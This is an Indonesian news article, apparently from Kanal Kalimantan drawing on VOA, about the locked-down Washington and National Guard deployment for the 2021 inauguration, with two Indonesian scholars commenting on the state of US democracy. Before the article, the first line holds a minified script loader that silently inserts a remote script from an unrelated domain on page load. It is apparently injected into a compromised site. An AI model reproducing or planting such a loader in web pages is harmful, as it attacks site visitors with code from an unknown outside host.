(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: INTERNASIONAL

Pengamanan Ketat & Pembatasan Perayaan Pelantikan, Masihkah AS Jadi Cermin Demokrasi?


KANALKALIMANTAN.COM, WASHINGTON DC – Pengamanan ketat di ibu kota Washington DC menjelang pelantikan presiden karena potensi terjadinya ancaman dari dalam, serta ketidakhadiran Presiden Donald Trump dalam upacara serah terima kekuasaan di Amerika, menimbulkan keprihatinan banyak kalangan. Beberapa pengamat bahkan khawatir hal ini akan menjadi preseden bagi negara-negara lain.

Sebagian ibu kota Washington DC di-lockdown. Pagar besi setinggi tiga meter, yang sebagian dipasangi kawat berduri, mengelilingi gedung Kongres yang menjadi simbol demokrasi dunia. Sebagian pagar besi ini juga dipasang hingga ke arah Monumen Nasional.

Jalan-jalan termasuk jalan Pennsylvania Avenue di dekat Gedung Capitol ditutup menjelang gladi bersih upacara pelantikan Presiden, Senin (18/1/2021). Foto: AP

Jalan-jalan juga ditutup dan dijaga aparat keamanan. Belasan stasiun kereta api ditutup dan layanan transportasi umum dialihkan. Sedikitnya 25.000 personil pasukan Garda Nasional bersenjata lengkap berjaga-jaga di sekitar gedung Kongres, sebagian berada di dalam gedung.

Ini semua karena adanya kekhawatiran terjadinya potensi ancaman dari dalam. Beberapa pejabat hari Minggu (17/1) memperingatkan adanya ancaman yang diduga dari orang-orang yang ditugaskan mengamankan upacara pelantikan presiden dan ini membuat Biro Penyidik Federal FBI kini sedang memeriksa ulang kembali latar belakang setiap personil yang bertugas, termasuk personil Garda Nasional.

Tentara Garda Nasional mengamankan jalan-jalan di Washington DC menjelang acara pelantikan Presiden. Foto: AFP

Pejabat yang bertanggung jawab pada Angkatan Darat Amerika Ryan McCarthy mengatakan kepada Associated Press, “Kami secara terus menerus mengevaluasi proses ini, dan kembali melakukan kajian kedua, ketiga, pada setiap individu yang ditugaskan dalam operasi ini.” Ia juga mengatakan bahwa personil yang bertugas sudah diperingatkan dan diarahkan untuk mengantisipasi masalah apapun di dalam setiap level. Namun McCarthy juga menegaskan bahwa sejauh ini belum ada bukti akan terjadinya ancaman tersebut.

Semua persiapan keamanan dan kekhawatiran potensi ancaman ini muncul setelah penyerbuan Kongres oleh para pendukung Presiden Trump 6 Januari lalu, yang menewaskan lima orang, termasuk seorang polisi Capitol.

Ciri “Democratic Discontent?”

Pengamat Amerika di Paramadina Public Policy Institute Dr. Abdul Malik Gismar menyayangkan hal ini karena menurutnya dunia melihat Amerika tidak saja sebagai sebuah negara adi daya, tetapi juga potret demokrasi.

“Ini sebetulnya sangat menyedihkan karena saat ini we are lost an idea of America. Karena buat dunia, Amerika ini bukan hanya sekedar negara, tetapi juga sebagai an idea of democracy, an idea that we can hold a free and fair election, an idea that transfer of power can be done peacefully. Kita yang sedang bertransisi menuju demokrasi, selama ini khan sering ‘diajari’ untuk to have a consolidate-demoracy. Seperti apa itu? Ya seperti Amerika, di mana demokrasi is the only game in town. Ini bahasa-bahasa yang kita pegang dan ikuti betul, terutama di kalangan kelompok yang ingin benar-benar membangun demokrasi. Amerika jadi rujukan! Mengajarkan bahwa pemilu bisa berlangsung aman, peralihan kekuasaan biasa-biasa saja, tidak perlu berantem. Tetapi sekarang ini Amerika seakan-akan kehilangan itu semua. Dan saya kira membangun kembali hal ini bakal membutuhkan banyak waktu. Bagaimana memulihkan ketidakpercayaan. Its a huge loss to see America like this,” kata Malik.

Tentara anggota Garda Nasional AS dikerahkan untuk mengamankan Gedung Capitol menjelang pelantikan Presiden. Foto: Reuters

Mengutip pandangan pakar politik Amerika Michael Sandel, Abdul Malik Gismar menyebut fenomena ini sebagai “democracy discontent.”

“Ini yang disebut democratic discontent. Di Amerika sebenarnya sudah lama orang bicara tentang hal ini, di mana demokrasi tidak lagi dapat digunakan untuk menjawab ketidakadilan sosial. Jika dulunya kekecewaan akan ketidakadilan sosial ini hanya muncul dalam diskusi dan perdebatan atau demonstrasi dan mogok makan, kini muncul di jalan-jalan, dan terus meluas menjadi ketidakpercayaan pada pemerintah. Ini karena tidak pernah ada jawaban yang memuaskan dan akhirnya bergulir mempertanyakan democracy itself, the system itself. Kini ini tidak saja menjadi political discontent, tetapi juga ethnic discontent, terlihat dalam serangan di Kongres kemarin khan?”

Pemulihan Ekonomi Dinilai Bisa Jadi Jalan Keluar

Pakar politik Universitas Indonesia Dr. Suzie Sudarman menilai fenomena yang tidak biasa ini tampak ketika demi politik, sebagian pandangan warga ditekan.

“Political corectness telah meng-compress sebagian suara yang ingin menunjukkan identitasnya, demi memiliki demokrasi yang civilized di mana orang-orang tidak saling menghujat tapi membahas perbedaan mereka secara sehat. Political correctness ini sedianya diikat oleh simpul besar yaitu persatuan bangsa. Tetapi tidak semua akhirnya bisa baik-baik saja, tetap ada mereka yang merasa ditekan dan sesekali keluar seperti yang kita lihat di Kongres tanggal 6 Januari lalu itu,” ujarnya.

Menurut Suzie Sudarman, pemulihan demokrasi di Amerika dapat berjalan lebih cepat jika didukung dengan pemulihan ekonomi. “Ekonomi yang baik, yang bisa memberi manfaat pada semua orang, dapat membuat orang juga merasa kohesi sosial baik-baik saja dan mendukung upaya pemulihan demokrasi.”

Kedua pakar yang diwawancarai VOA sepakat bahwa dibutuhkan waktu lama untuk memulihkan demokrasi di Amerika, yang tentunya tidak saja dinantikan oleh warganya sendiri, tetapi juga warga dunia. (em/jm)

 

Reporter: Eva
Editor: VOA

 


Desy Arfianty

Recent Posts

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

15 menit ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

1 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

4 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

12 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

14 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

14 jam ago

This website uses cookies.